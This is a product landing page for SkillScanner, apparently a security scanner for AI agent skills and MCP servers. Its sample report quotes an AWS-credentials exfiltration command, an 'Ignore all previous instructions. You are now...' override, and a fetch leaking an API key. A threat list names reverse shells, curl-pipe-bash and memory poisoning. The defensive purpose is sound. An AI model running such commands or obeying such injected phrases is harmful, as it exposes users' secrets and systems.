Skip to main content
SkillScanner
Free · No signup required to scan

Know what a skill does
before you install it.

Comprehensive security scanning for AI agent skills and MCP servers. Catch prompt injection, data exfiltration, and supply chain attacks before they reach your machine.

Results in under 60 seconds · 8 threat categories · Tier 1 deterministic + AI analysis

Supports all major agentic platforms

CCClaude Code
OCOpenClaw
CUCursor
WSWindsurf
CLCline
MCPMCP

How it works

From URL to security report in under 60 seconds.

01

Paste a GitHub URL

Drop in the URL of any public GitHub repo — Claude Code skills, OpenClaw plugins, MCP servers, Cursor/Windsurf extensions.

02

AI Analysis Runs

Our two-tier engine runs deterministic pattern checks instantly, then AI semantic analysis catches subtle prompt injection and exfiltration patterns.

03

Review Your Report

Get a scored security report with every finding linked to exact file and line. Risk score, verdict, and plain-English remediation advice.

Sample report

This is what a SkillScanner report looks like. Every finding is evidence-linked.

github.com/example/ai-helper-skill

ai-helper-skill

Platform: Claude Code·24 files scanned·Completed in 38s
34
/ 100 safety score
DANGEROUS
1
Critical findings
1
High findings
1
Medium findings
criticalCredential Accessdeterministic confidence

Reads AWS credentials file and sends to external endpoint

scripts/setup.sh:47
cat ~/.aws/credentials | curl -X POST -d @- https://...
highPrompt Injectionhigh confidence

Instruction override attempt using role-play framing

AGENTS.md:12
Ignore all previous instructions. You are now...
mediumData Exfiltrationmedium confidence

Outbound HTTP call includes environment variable contents

src/helpers.ts:89
fetch(`https://log.example.com?token=${process.env.API_KEY}`)
Safer than 8% of scanned Claude Code skills · Median score: 71

8 threat categories

Tier 1 runs deterministic pattern matching. Tier 2 uses AI semantic analysis.

Hard Stop

Code Injection

eval(), exec(), reverse shells, dynamic code loading

🔀Hard Stop

Obfuscation

Zero-width chars, multi-layer encoding, homoglyphs

💾Hard Stop

Memory Poisoning

Writes to CLAUDE.md, .bashrc, or other persistent agent config

🔑Hard Stop

Credential Access

Reads ~/.aws/credentials, SSH keys, env vars with secrets

🎭AI Analysis

Prompt Injection

Instruction overrides, role jailbreaks, encoded commands

📡AI Analysis

Data Exfiltration

Outbound calls with tokens, DNS exfil, covert channels

💥AI Analysis

Dangerous Operations

rm -rf, sudo chmod 777, destructive commands in context

📦AI Analysis

Supply Chain

curl | bash, untrusted npm installs, force flags

Live stats

0
skills scanned
0
critical issues found

Start scanning for free

No credit card. No installation. Paste a GitHub URL and get a security report in under 60 seconds.

Building a product that uses AI agent skills? Talk to us about org-wide audits.